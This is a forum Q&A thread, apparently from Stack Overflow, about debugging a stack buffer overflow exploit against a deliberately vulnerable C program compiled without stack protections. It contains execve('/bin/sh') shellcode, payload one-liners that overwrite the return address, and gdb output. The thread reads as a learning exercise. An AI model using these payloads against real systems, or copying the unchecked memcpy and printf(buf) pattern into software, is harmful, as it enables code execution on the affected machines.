Why is my stack buffer overflow exploit not working?
<p>So I have a really simple stackoverflow:</p>

<pre><code>#include &lt;stdio.h&gt;

int main(int argc, char *argv[]) {

    char buf[256];
    memcpy(buf, argv[1],strlen(argv[1]));
    printf(buf);

}
</code></pre>

<p>I'm trying to overflow with this code:</p>

<pre><code>$(python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' + 'A'*237 + 'c8f4ffbf'.decode('hex')")
</code></pre>

<p>When I overflow the stack, I successfully overwrite EIP with my wanted address but then nothing happens. It doesn't execute my shellcode.</p>

<p>Does anyone see the problem? Note: My python may be wrong.</p>

<hr>

<p>UPDATE</p>

<p>What I don't understand is why my code is not executing. For instance if I point eip to nops, the nops never get executed. Like so,  </p>

<pre><code>$(python -c "print '\x90'*50 + 'A'*210 + '\xc8\xf4\xff\xbf'")
</code></pre>

<hr>

<p>UPDATE</p>

<p>Could someone be kind enough to exploit this overflow yourself on linux
 x86 and post the results?</p>

<hr>

<p>UPDATE</p>

<p>Nevermind ya'll, I got it working. Thanks for all your help.</p>

<hr>

<p>UPDATE</p>

<p>Well, I thought I did. I did get a shell, but now I'm trying again and I'm having problems.</p>

<p>All Im doing is overflowing the stack at the beginning and pointing my shellcode there.</p>

<p>Like so,</p>

<pre><code>r $(python -c 'print "A"*260 + "\xcc\xf5\xff\xbf"')
</code></pre>

<p>This should point to the A's. Now what I dont understand is why my address at the end gets changed in gdb.</p>

<p>This is what gdb gives me,</p>

<pre><code>Program received signal SIGTRAP, Trace/breakpoint trap.
0xbffff5cd in ?? ()
</code></pre>

<p>The \xcc gets changed to \xcd. Could this have something to do with the error I get with gdb?</p>

<p>When I fill that address with "B"'s for instance it resolves fine with \x42\x42\x42\x42. So what gives?</p>

<p>Any help would be appreciated.</p>

<p>Also, I'm compiling with the following options:</p>

<pre><code>gcc -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -o so so.c
</code></pre>

<p>It's really odd because any other address works except the one I need.</p>

<hr>

<p>UPDATE</p>

<p>I can successfully spawn a shell with the following in gdb,</p>

<pre><code>$(python -c "print '\x90'*37 +'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' + 'A'*200 + '\xc8\xf4\xff\xbf'")
</code></pre>

<p>But I don't understand why this works sometimes and doesn't work other times. Sometimes my overwritten eip is changed by gdb. Does anyone know what I am missing? Also, I can only spwan a shell in gdb and not in the normal process. And on top of that, I can only seem to start a shell once in gdb and then gdb stops working.</p>

<p>For instance, now when I run the following I get this in gdb...</p>

<pre><code>Starting program: /root/so $(python -c 'print "A"*260 + "\xc8\xf4\xff\xbf"')

Program received signal SIGSEGV, Segmentation fault.
0xbffff5cc in ?? ()
</code></pre>

<p>This seems to be caused by execstack be turned on.</p>

<hr>

<p>UPDATE</p>

<p>Yeah, for some reason I'm getting different results but the exploit is working now. So thank you everyone for your help. If anyone can explain the results I received above, I'm all ears. Thanks.</p>

<p>I was having similar problems when trying to perform a stack buffer overflow. I found that my return address in GDB was different than that in a normal process. What I did was add the following:</p>

<pre><code>unsigned long printesp(void){
    __asm__("movl %esp,%eax");
}
</code></pre>

<p>And called it at the end of main right before <code>Return</code> to get an idea where the stack was. From there I just played with that value subtracting 4 from the printed ESP until it worked.</p>

python c stack-overflow buffer-overflow